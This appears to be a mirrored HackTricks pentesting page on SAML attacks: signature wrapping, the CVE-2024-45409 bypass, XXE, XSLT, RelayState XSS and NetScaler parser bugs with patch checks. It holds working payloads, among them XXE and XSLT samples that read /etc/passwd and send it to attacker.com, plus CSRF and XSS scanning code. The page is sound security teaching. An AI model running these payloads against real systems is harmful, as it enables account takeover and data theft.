overview.md (35612B)
1 --- 2 title: "SAML Attacks" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/saml-attacks/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/saml-attacks/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SAML Attacks 14 15 ## Basic Information 16 17 The first part of the referenced SAML testing methodology covers request collection, decoding, and baseline validation checks that should precede the attacks on this page.<sup>[[14]](#references)</sup> 18 19 20 [Saml Basics](/hacktricks/pentesting-web/saml-attacks/saml-basics) 21 22 ## Tool 23 24 [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) accepts a URL or URL list and reports discovered SAML consumer endpoints. 25 26 ## XML round-trip 27 28 An XML implementation may parse or serialize a document before checking the in-memory signed structure. Ideally this round trip preserves the data, but parser differentials can make **the data validated by the signature differ from the data later processed by the application**. 29 30 For example, check the following code: 31 32 ```ruby 33 require 'rexml/document' 34 35 doc = REXML::Document.new <<XML 36 <!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]> 37 <X> 38 <Y/><![CDATA[--><X><Z/><!--]]]> 39 </X> 40 XML 41 42 puts "First child in original doc: " + doc.root.elements[1].name 43 doc = REXML::Document.new doc.to_s 44 puts "First child after round-trip: " + doc.root.elements[1].name 45 ``` 46 47 Running the program against REXML 3.2.4 or earlier would result in the following output instead: 48 49 ```text 50 First child in original doc: Y 51 First child after round-trip: Z 52 ``` 53 54 This is how REXML saw the original XML document from the program above: 55 56 <sup>[[1]](#references)</sup> 57 58 And this is how it saw it after a round of parsing and serialization: 59 60 <sup>[[1]](#references)</sup> 61 62 For more information about the vulnerability and how to abuse it:<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 63 64 - [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)<sup>[[1]](#references)</sup> 65 - [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)<sup>[[2]](#references)</sup> 66 67 ## XML Signature Wrapping Attacks 68 69 In **XML Signature Wrapping attacks (XSW)**, adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: **signature validation** and **function invocation**. These attacks involve altering the XML document structure. Specifically, the attacker **injects forged elements** that do not compromise the XML Signature's validity. This manipulation aims to create a discrepancy between the elements analyzed by the **application logic** and those checked by the **signature verification module**. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the **fraudulent elements**. Consequently, the attacker effectively bypasses the XML Signature's **integrity protection** and **origin authentication**, enabling the **injection of arbitrary content** without detection. 70 71 The following attacks are based on [**this methodology**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) and [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Consult them for further details.<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup> 72 73 ### XSW #1 74 75 - **Strategy**: A new root element containing the signature is added. 76 - **Implication**: The validator may get confused between the legitimate "Response -> Assertion -> Subject" and the attacker's "evil new Response -> Assertion -> Subject", leading to data integrity issues. 77 78  79 80 ### XSW #2 81 82 - **Difference from XSW #1**: Utilizes a detached signature instead of an enveloping signature. 83 - **Implication**: The "evil" structure, similar to XSW #1, aims to deceive the business logic post integrity check. 84 85  86 87 ### XSW #3 88 89 - **Strategy**: An evil Assertion is crafted at the same hierarchical level as the original assertion. 90 - **Implication**: Intends to confuse the business logic into using the malicious data. 91 92  93 94 ### XSW #4 95 96 - **Difference from XSW #3**: The original Assertion becomes a child of the duplicated (evil) Assertion. 97 - **Implication**: Similar to XSW #3 but alters the XML structure more aggressively. 98 99  100 101 ### XSW #5 102 103 - **Unique Aspect**: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached). 104 - **Implication**: The copied Assertion envelopes the Signature, modifying the expected document structure. 105 106  107 108 ### XSW #6 109 110 - **Strategy**: Similar location insertion as XSW #4 and #5, but with a twist. 111 - **Implication**: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure. 112 113  114 115 ### XSW #7 116 117 - **Strategy**: An Extensions element is inserted with the copied Assertion as a child. 118 - **Implication**: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML. 119 120  121 122 ### XSW #8 123 124 - **Difference from XSW #7**: Utilizes another less restrictive XML element for a variant of the attack. 125 - **Implication**: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7. 126 127  128 129 ### XML Signature Wrapping Tool 130 131 You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to parse the request, apply any XSW attack you choose, and launch it. 132 133 ## Ruby-SAML signature verification bypass (CVE-2024-45409) 134 135 **Impact**: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain **any IdP-signed SAMLResponse** can **forge a new assertion** and authenticate as arbitrary users.<sup>[[5]](#references)</sup> 136 137 **High-level workflow** (signature-wrapping style bypass):<sup>[[6]](#references)</sup> 138 139 1. Capture a **legitimate SAMLResponse** in the SSO POST (Burp or browser devtools). You only need any IdP-signed response for the target SP. 140 2. Decode the transport encoding to raw XML (typical order): **URL decode → Base64 decode → raw inflate**. 141 3. Use a PoC (for example, the Synacktiv script) to **patch IDs/NameID/conditions** and **rewrite signature references/digests** so validation still passes while the SP consumes attacker-controlled assertion fields.<sup>[[7]](#references)</sup> 142 4. Re-encode the patched XML (**raw deflate → Base64 → URL encode**) and replay it to the SAML callback endpoint. If successful, the SP logs you in as the chosen user. 143 144 Example using the Synacktiv PoC (input is the captured SAMLResponse blob): 145 146 ```bash 147 python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64 148 ``` 149 150 ## XXE 151 152 If you don't know which kind of attacks are XXE, please read the following page: 153 154 155 [Xxe Xee Xml External Entity](/hacktricks/pentesting-web/xxe-xee-xml-external-entity) 156 157 SAML Responses are **deflated and base64 encoded XML documents** and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Here’s how such an attack can be visualized: 158 159 ```xml 160 <?xml version="1.0" encoding="UTF-8"?> 161 <!DOCTYPE foo [ 162 <!ELEMENT foo ANY > 163 <!ENTITY file SYSTEM "file:///etc/passwd"> 164 <!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]> 165 <samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...> 166 <saml:Issuer>...</saml:Issuer> 167 <ds:Signature ...> 168 <ds:SignedInfo> 169 <ds:CanonicalizationMethod .../> 170 <ds:SignatureMethod .../> 171 <ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference> 172 </ds:SignedInfo> 173 <ds:SignatureValue>...</ds:SignatureValue> 174 [...] 175 ``` 176 177 ## Tools 178 179 You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities and SAML vulnerabilities. 180 181 Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)<sup>[[15]](#references)</sup> 182 183 ## XSLT via SAML 184 185 For more information about XSLT go to: 186 187 188 [Xslt Server Side Injection Extensible Stylesheet Language Transformations](/hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations) 189 190 Extensible Stylesheet Language Transformations (XSLT) can be used for transforming XML documents into various formats like HTML, JSON, or PDF. It's crucial to note that **XSLT transformations are performed before the verification of the digital signature**. This means that an attack can be successful even without a valid signature; a self-signed or invalid signature is sufficient to proceed. 191 192 Here you can find a **POC** to check for this kind of vulnerabilities, in the hacktricks page mentioned at the beginning of this section you can find for payloads. 193 194 ```xml 195 <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> 196 ... 197 <ds:Transforms> 198 <ds:Transform> 199 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 200 <xsl:template match="doc"> 201 <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/> 202 <xsl:variable name="escaped" select="encode-for-uri($file)"/> 203 <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/> 204 <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/> 205 <xsl:value-of select="unparsed-text($exploitUrl)"/> 206 </xsl:template> 207 </xsl:stylesheet> 208 </ds:Transform> 209 </ds:Transforms> 210 ... 211 </ds:Signature> 212 ``` 213 214 ### XSLT Testing Tool 215 216 You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XSLT vulnerabilities. 217 218 The talk linked in the Tools section also demonstrates XSLT-oriented SAML testing. 219 220 ## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a> 221 222 **XML Signature Exclusion** tests how a SAML implementation behaves when the `Signature` element is absent. A vulnerable service may skip signature validation and accept altered assertion content.<sup>[[8]](#references)</sup> 223 224  225 226 ### XML Signature Exclusion Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a> 227 228 You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercept the SAML Response and click `Remove Signatures`. In doing so **all** Signature elements are removed. 229 230 With the signatures removed, forward the request. If the Service Provider accepts it, signature enforcement is missing or fail-open. 231 232 ## Fail-open SAML verification in unconfigured SSO handlers 233 234 Some products keep the **SAML authentication endpoint reachable even when SSO was never configured**. If a constructor or config-loading error leaves security fields at language defaults such as `""` or `false`, the unconfigured path can become **less secure** than the configured one.<sup>[[13]](#references)</sup> 235 236 ### What to test 237 238 - Reach the SAML ACS / login handler while SSO is **disabled**, **never configured**, or after deleting its config. The handler should fail closed before parsing attacker-controlled XML. 239 - Check whether missing configuration skips initialization of fields such as the **signature verification mode**, **trusted issuer**, **audience**, **certificate path**, or **local-user policy**, while request processing still continues. 240 - Look for **fail-open mode checks** such as `if mode in {response, assertion, both} verify_signature(...)` with **no rejecting `else`**. An empty / malformed mode can silently disable both response- and assertion-signature verification. 241 - Compare **presence checks** with **normalized comparisons**. A whitespace-only `<Issuer>` can satisfy `issuer != null`, then be trimmed to `""` and match an empty configured issuer. 242 - If time validation only runs when `<Conditions>` exists, try **omitting `Conditions` entirely** instead of forging timestamps. 243 244 ### Exploitation notes 245 246 Once verification is bypassed, a **schema-valid but unsigned** `SAMLResponse` containing `Status=Success`, at least one `Assertion`, and an attacker-chosen `NameID` may be enough to authenticate as an arbitrary existing federated user.<sup>[[13]](#references)</sup> 247 248 Practical details to check: 249 250 - Some implementations accept the **first assertion** that passes local checks and ignore the rest. 251 - If local usernames are blocked but values containing `\` or `@` are allowed, target an existing **directory identity** such as `DOMAIN\Administrator` or `user@domain`. 252 - The forged value still needs to survive **account-resolution / canonical-name** checks performed after SAML parsing. 253 254 A recent example of this pattern is the Synology DS925+ SAML SSO bypass documented by Chanze Lee. 255 256 ## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a> 257 258 Certificate faking tests whether a **Service Provider (SP) verifies that a SAML message is signed** by a trusted Identity Provider (IdP). Sign the SAML Response or Assertion with a **self-signed certificate** to determine whether the SP validates the certificate trust relationship.<sup>[[8]](#references)</sup> 259 260 ### How to Conduct Certificate Faking 261 262 The following steps outline the process using the [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp extension: 263 264 1. Intercept the SAML Response. 265 2. If the response contains a signature, send the certificate to SAML Raider Certs using the `Send Certificate to SAML Raider Certs` button. 266 3. In the SAML Raider Certificates tab, select the imported certificate and click `Save and Self-Sign` to create a self-signed clone of the original certificate. 267 4. Go back to the intercepted request in Burp’s Proxy. Select the new self-signed certificate from the XML Signature dropdown. 268 5. Remove any existing signatures with the `Remove Signatures` button. 269 6. Sign the message or assertion with the new certificate using the **`(Re-)Sign Message`** or **`(Re-)Sign Assertion`** button, as appropriate. 270 7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages. 271 272 ## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a> 273 274 Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.<sup>[[8]](#references)</sup> 275 276 #### **How It Works** 277 278 For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit. 279 280 The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit. 281 282 ```python 283 # Example to simulate interception and redirection of SAML Response 284 def intercept_and_redirect_saml_response(saml_response, sp_target_url): 285 """ 286 Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target. 287 288 Args: 289 - saml_response: The SAML Response intercepted (in string format). 290 - sp_target_url: The URL of the SP-Target to which the SAML Response is redirected. 291 292 Returns: 293 - status: Success or failure message. 294 """ 295 # This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required. 296 try: 297 # Code to send the SAML Response to SP-Target would go here 298 return "SAML Response successfully redirected to SP-Target." 299 except Exception as e: 300 return f"Failed to redirect SAML Response: {e}" 301 ``` 302 303 ## XSS in Logout functionality 304 305 The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).<sup>[[9]](#references)</sup> 306 307 During the process of directory brute forcing, a logout page was discovered at: 308 309 ```text 310 https://carbon-prototype.uberinternal.com:443/oidauth/logout 311 ``` 312 313 Upon accessing this link, a redirection occurred to: 314 315 ```text 316 https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1 317 ``` 318 319 This revealed that the `base` parameter accepts a URL. Considering this, the idea emerged to substitute the URL with `javascript:alert(123);` in an attempt to initiate an XSS (Cross-Site Scripting) attack. 320 321 ### Mass Exploitation 322 323 [From this research](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):<sup>[[9]](#references)</sup> 324 325 The [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) tool was used to analyze subdomains of `uberinternal.com` for domains utilizing the same library. Subsequently, a script was developed to target the `oidauth/prompt` page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it's reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable. 326 327 ```python 328 import requests 329 import urllib3 330 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 331 from colorama import init ,Fore, Back, Style 332 init() 333 334 with open("/home/fady/uberSAMLOIDAUTH") as urlList: 335 for url in urlList: 336 url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1" 337 request = requests.get(url2, allow_redirects=True,verify=False) 338 doesit = Fore.RED + "no" 339 if ("Fady" in request.content): 340 doesit = Fore.GREEN + "yes" 341 print(Fore.WHITE + url2) 342 print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit) 343 ``` 344 345 ## RelayState-based header/body injection to rXSS 346 347 Some SAML SSO endpoints decode `RelayState` and then reflect it into the response without sanitization. If you can inject newlines and override the response `Content-Type`, you can force the browser to render attacker-controlled HTML, achieving reflected XSS.<sup>[[10]](#references)</sup> 348 349 - Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in [CRLF injection](/hacktricks/pentesting-web/crlf-0d-0a). 350 - Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection. 351 352 Generalized steps: 353 354 1. Build a header/body injection sequence starting with a newline, overwrite content type to HTML, then inject HTML/JS payload: 355 356 Concept: 357 358 ```text 359 \n 360 Content-Type: text/html 361 362 363 <svg/onload=alert(1)> 364 ``` 365 2. URL-encode the sequence (example): 366 367 ```text 368 %0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E 369 ``` 370 3. Base64-encode that URL-encoded string and place it in `RelayState`. 371 372 Example base64 (from the sequence above): 373 374 ```text 375 DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg== 376 ``` 377 4. Send a POST with a syntactically valid `SAMLResponse` and the crafted `RelayState` to the SSO endpoint (e.g., `/cgi/logout`). 378 5. Deliver via CSRF: host a page that auto-submits a cross-origin POST to the target origin including both fields. 379 380 PoC against a NetScaler SSO endpoint (`/cgi/logout`): 381 382 ```http 383 POST /cgi/logout HTTP/1.1 384 Host: target 385 Content-Type: application/x-www-form-urlencoded 386 387 SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg== 388 ``` 389 390 CSRF delivery pattern: 391 392 ```html 393 <form action="https://target/cgi/logout" method="POST" id="p"> 394 <input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]"> 395 <input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg=="> 396 </form> 397 <script>document.getElementById('p').submit()</script> 398 ``` 399 400 Why it works: the server decodes `RelayState` and incorporates it into the response in a way that permits newline injection, letting the attacker influence headers and body. Forcing `Content-Type: text/html` causes the browser to render the attacker-controlled HTML from the response body. 401 402 ## Pre-verification XML-signature preprocessing and length oracles 403 404 Do not assume that an invalid signature keeps attacker-controlled XML away from dangerous code. XML signatures require the referenced content to be **canonicalized before cryptographic verification**, so fields under `ds:SignedInfo` are parsed while still untrusted. In NetScaler's CVE-2026-8452, the exclusive-canonicalization field `ds:CanonicalizationMethod / ec:InclusiveNamespaces @ PrefixList` was copied into a fixed-size buffer without a sufficient bounds check. The resulting heap overwrite contained attacker-selected bytes; exploit addresses and heap layout remained firmware-specific, but an exploit for one build could still corrupt and crash another build.<sup>[[16]](#references)[[17]](#references)</sup> 405 406 On NetScaler, reachability is **per Gateway/AAA virtual server and policy binding**, not simply per appliance. The relevant inbound surfaces are:<sup>[[17]](#references)</sup> 407 408 - IdP role: signed `AuthnRequest` or `LogoutRequest` messages at `/saml/login` (`samlIdPProfile`). 409 - SP role: a `SAMLResponse` assertion signature at `/cgi/samlauth` (`samlAction`). 410 411 The signature only needs the expected structure; it does not need to be valid. A configured endpoint can still reject the request before canonicalization because no policy matches, an nFactor chain chooses another flow, or strict signature rules run first. Therefore, an endpoint response alone does not prove that the vulnerable parser was reached.<sup>[[17]](#references)</sup> 412 413 ### Non-destructive patch check with a control request 414 415 The [Bishop Fox detector](https://github.com/BishopFox/CVE-2026-8452-check) turns the patch's exact `PrefixList` limit into a behavioral oracle. It sends one fixed **575-byte** probe, which is above the fixed build's 512-byte maximum but below the observed corruption range, and then a **35-byte control** through the same route.<sup>[[17]](#references)[[18]](#references)</sup> 416 417 | Request result | Interpretation | 418 | --- | --- | 419 | 575 bytes: `500 Internal Server Error 43549`; 35 bytes: a different response | Size check absent on the reached path (`VULNERABLE`) | 420 | 575 bytes: `200 Malformed Assertion sent to Netscaler`; 35 bytes: a different response | Size check reached and present (`PATCHED`) | 421 | Both lengths return the same response | Rejected before the size discriminator (`INCONCLUSIVE`, not patched) | 422 423 The tool tries a structurally signed `AuthnRequest` at `/saml/login` first, then falls back to a `SAMLResponse` at `/cgi/samlauth`. The IdP request must contain a `Signature` block because an unsigned request produces the patched-looking malformed-assertion response on both vulnerable and fixed builds. Requiring the short control to behave differently also prevents false `PATCHED` results from settings such as `samlRejectUnsignedAssertion STRICT`.<sup>[[17]](#references)[[18]](#references)</sup> 424 425 ```bash 426 # Test each Gateway/AAA VIP, not the management interface 427 ./cve_2026_8452_check.py https://gateway.example.com:9443 428 ./cve_2026_8452_check.py -f targets.txt --brief 429 ./cve_2026_8452_check.py -f targets.txt --json > results.json 430 ``` 431 432 > Do not change the detector's `PROBE_PREFIXES` or perform a length sweep. The fixed lengths were selected and validated to avoid the corruption range; other lengths can destabilize an appliance, and shorter is not necessarily safer.<sup>[[17]](#references)[[18]](#references)</sup> 433 434 `PATCHED` only confirms that this particular size check executed. `UNAFFECTED` is also per VIP, while `INCONCLUSIVE` means the patch state is unknown. Confirm ambiguous results and the installed build locally with `show ns version`.<sup>[[17]](#references)[[18]](#references)</sup> 435 436 ### Scope and incident triage 437 438 Inventory SAML objects and their actual bindings before testing every active and standby VIP. A globally present `/saml/login` endpoint may still stop at `Matching policy not found` on one VIP while another VIP reaches the parser.<sup>[[17]](#references)</sup> 439 440 ```bash 441 show authentication vserver 442 show vpn vserver 443 show authentication samlAction 444 show authentication samlIdPProfile 445 show ns runningConfig | grep -i saml 446 show ns version 447 ``` 448 449 For post-exploitation triage, correlate durable artifacts with packet-engine failures rather than treating a restart as the verdict. The public exploitation chain wrote `/var/vpn/theme/x.php`; Bishop Fox also observed `nsppe` signal 10/11 entries, `pitboss` restart messages, and attacker-controlled `PrefixList` markers retained in `NSPPE-*` cores.<sup>[[16]](#references)[[17]](#references)</sup> 450 451 ```bash 452 find /var/core -name 'NSPPE-*' 453 grep -Ei 'nsppe:.*signal (10|11)|pitboss.*unexpectedly died' /var/log/ns.log 454 zgrep -Ei 'nsppe:.*signal (10|11)|pitboss.*unexpectedly died' /var/log/ns.log*.gz 455 find /var/vpn/theme -type f 456 ``` 457 458 Search every boot-specific directory under `/var/core`, not only `/var/core/1`. A failed exploit may restart only `nsppe` without rebooting the OS, so uptime or a brief network interruption cannot distinguish failure from successful code execution; persistent unexpected files provide stronger evidence.<sup>[[17]](#references)</sup> 459 460 ## Unterminated / unquoted SAML attribute overread (IdP parser bugs) 461 462 Some SAML IdP implementations use **custom XML parsers** for `AuthnRequest` attributes and try to recover from malformed XML instead of rejecting it. A recurring bug class is that **quoted** attribute values stop correctly, but the **error-recovery path for unquoted values** only stops on a literal space, `>` or `NUL`. That lets attackers make the parser **over-consume later XML** and, in the worst case, **read past the request buffer**.<sup>[[11]](#references)</sup><sup>[[12]](#references)</sup> 463 464 This is especially interesting when the parsed fields are later **reflected** into: 465 466 - cookies 467 - logs 468 - redirect parameters 469 - debugging/error responses 470 471 ### Quick detection idea 472 473 Send a base64-encoded `SAMLRequest` to the IdP endpoint and replace the separator after an unquoted attribute with a newline or tab. Then put another attribute or tag immediately after it. 474 475 ```xml 476 <samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=11 477 ID=22> 478 <saml:Issuer>test</saml:Issuer> 479 </samlp:AuthnRequest> 480 ``` 481 482 If the target behaves as if `AssertionConsumerServiceURL` were `11 ID=22` instead of only `11`, the parser is **not treating XML whitespace consistently** in its recovery path. 483 484 ### Escalating from parser confusion to overread 485 486 Useful heuristics when fuzzing SAML IdP parsers: 487 488 - Keep the **high-level SAML requirements** valid somewhere in the document (for example `AuthnRequest`, closing tag, valid `Issuer`). 489 - Corrupt the **low-level parser state** with an **unterminated opening tag** or an **unterminated attribute**. 490 - Move required elements into **weird but still accepted locations** to satisfy semantic checks while the attribute scanner keeps reading. 491 - Try payloads where the final attribute is left unterminated at the end of the request: 492 493 ```xml 494 <samlp:AuthnRequest 495 <saml:Issuer>test</saml:Issuer> 496 </samlp:AuthnRequest> 497 Version="2.0" 498 ID="11" 499 AssertionConsumerServiceURL= 500 ``` 501 502 If the parser later serializes that field into a cookie or redirect, decode the reflected value and check whether it contains bytes that were **not present in your request**. 503 504 ### Reflected sink hunting 505 506 For NetScaler SAML IdP parsing, the useful sink was the `NSC_TASS` cookie returned after a `POST` to `/saml/login` (typically inside a `302` response). Generalize this idea to any SAML appliance or middleware that stores parsed request fields server-side and then reflects them client-side. 507 508 A practical workflow is: 509 510 1. Send a base64-encoded `SAMLRequest` to the IdP endpoint. 511 2. Capture the response without following redirects. 512 3. Extract and base64-decode the reflected cookie / parameter. 513 4. Inspect the parsed field (`ACSURL`, `ID`, etc.) for data that was never in your original request. 514 515 ```bash 516 python3 - <<'PY' 517 import base64 518 print(base64.b64decode('NSC_TASS_VALUE_HERE')) 519 PY 520 ``` 521 522 If the leaked field contains: 523 524 - fragments of later XML tags 525 - stale heap/stack marker bytes 526 - partial pointers 527 - binary data that changes with request length 528 529 then you likely have a **real memory disclosure primitive**, not just malformed-XML confusion. 530 531 ### Request-length shaping 532 533 These bugs often stop leaking at `NUL`, `>` or other control characters, so the leak may be short. Still, **varying the request length** can change which adjacent bytes are reached and turn a tiny overread into a useful **infoleak primitive** for pointer recovery / ASLR bypass preparation. In practice, small changes such as adding padding spaces inside the malformed `AuthnRequest` can move the leaked bytes to a more useful heap position. 534 535 ### DoS variant 536 537 Also try **incomplete attributes** such as: 538 539 ```xml 540 <samlp:AuthnRequest ID= 541 ``` 542 543 The same parser weakness that gives an overread can also crash the SAML processing worker. 544 545 ## References 546 547 - [1] [Securing XML implementations across the web](https://mattermost.com/blog/securing-xml-implementations-across-the-web/) 548 - [2] [SAML is insecure by design](https://joonas.fi/2021/08/saml-is-insecure-by-design/) 549 - [3] [How to Test SAML: A Methodology (Part Two)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) 550 - [4] [On Breaking SAML: Be Whoever You Want to Be](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) 551 - [5] [ruby-saml Security Advisory GHSA-jw9c-mfg7-9rx2 (CVE-2024-45409)](https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2) 552 - [6] [HTB: Barrier](https://0xdf.gitlab.io/2026/03/03/htb-barrier.html) 553 - [7] [synacktiv/CVE-2024-45409 PoC](https://github.com/synacktiv/CVE-2024-45409) 554 - [8] [How to Test SAML: A Methodology (Part Three)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) 555 - [9] [How I discovered XSS that affects over 20 Uber subdomains](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) 556 - [10] [Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/) 557 - [11] [CitrixBleed To Infinity And Beyond: Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451](https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/) 558 - [12] [watchTowr-vs-Netscaler-CVE-2026-8451](https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451) 559 - [13] [Pwn2Own Ireland 2025: Bypassing Authentication via Synology DS925+ SAML SSO](https://chanzep.github.io/posts/pwn2own-ireland-2025-bypassing-authentication-via-synology-ds925-saml-sso) 560 - [14] [How to test SAML: a methodology (part one)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) 561 - [15] [youtube.com - Watch](https://www.youtube.com/watch?v=WHn-6xHL7mI) 562 - [16] [You’re Back In The Room (Citrix NetScaler Pre-Auth RCE CVE-2026-8452)](https://labs.watchtowr.com/youre-back-in-the-room-citrix-netscaler-pre-auth-rce-cve-2026-8452/) 563 - [17] [No Crash Required: Verifying the Citrix NetScaler SAML Patch for CVE-2026-8452](https://bishopfox.com/blog/no-crash-required-verifying-the-citrix-netscaler-saml-patch-for-cve-2026-8452) 564 - [18] [BishopFox CVE-2026-8452 patch-state detector](https://github.com/BishopFox/CVE-2026-8452-check)